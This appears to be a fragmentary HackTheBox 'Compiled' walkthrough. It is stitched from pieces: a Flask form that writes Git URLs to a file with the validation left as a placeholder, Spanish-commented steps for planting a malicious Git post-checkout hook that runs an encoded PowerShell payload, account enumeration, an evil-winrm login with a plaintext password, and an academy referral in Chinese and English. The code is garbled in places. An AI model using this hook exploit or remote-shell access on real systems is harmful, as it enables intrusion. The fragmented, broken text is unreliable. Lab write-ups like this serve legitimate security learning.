@app.route('/', methods=['GET', 'POST']) defindex(): error = None success = None if request.method == 'POST': repo_url = request.form['repo_url'] if# Add a sanitization to check for valid Git repository URLs. withopen(REPO_FILE_PATH, 'a') as f: f.write(repo_url + '\n') success = 'Your git repository is being cloned for compilation.' else: error = 'Invalid Git repository URL. It must start with "http://" and end with ".git".' return render_template('index.html', error=error, success=success)
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
# Configurar opciones de Git git config --global protocol.file.allow always git config --global core.symlinks true # Opcional, pero lo añadí para evitar el mensaje de advertencia git config --global init.defaultBranch main
# Definir la ruta de indicación tell_tale_path="$PWD/tell.tale"
# Inicializar el repositorio de hook git init hook cd hook mkdir -p y/hooks
# Escribir el código malicioso en un hook cat > y/hooks/post-checkout <<EOF #!/bin/bash powershell -e xxxx EOF
# Hacer que el hook sea ejecutable: importante chmod +x y/hooks/post-checkout
PS C:\> net user emily User name Emily Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 5/24/2024 6:37:32 PM Password expires Never Password changeable 5/24/2024 6:37:32 PM Password required No User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 7/28/2024 8:02:22 AM Logon hours allowed All Local Group Memberships *Remote Management Use*Users Global Group memberships *Ninguno The command completed successfully.
$ evil-winrm -i 10.129.67.215 -u emily -p '12345678' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Emily\Documents> whoami /priv
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ==================================== ======= SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled *Evil-WinRM* PS C:\Users\Emily\Documents> whoami compiled\emily
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)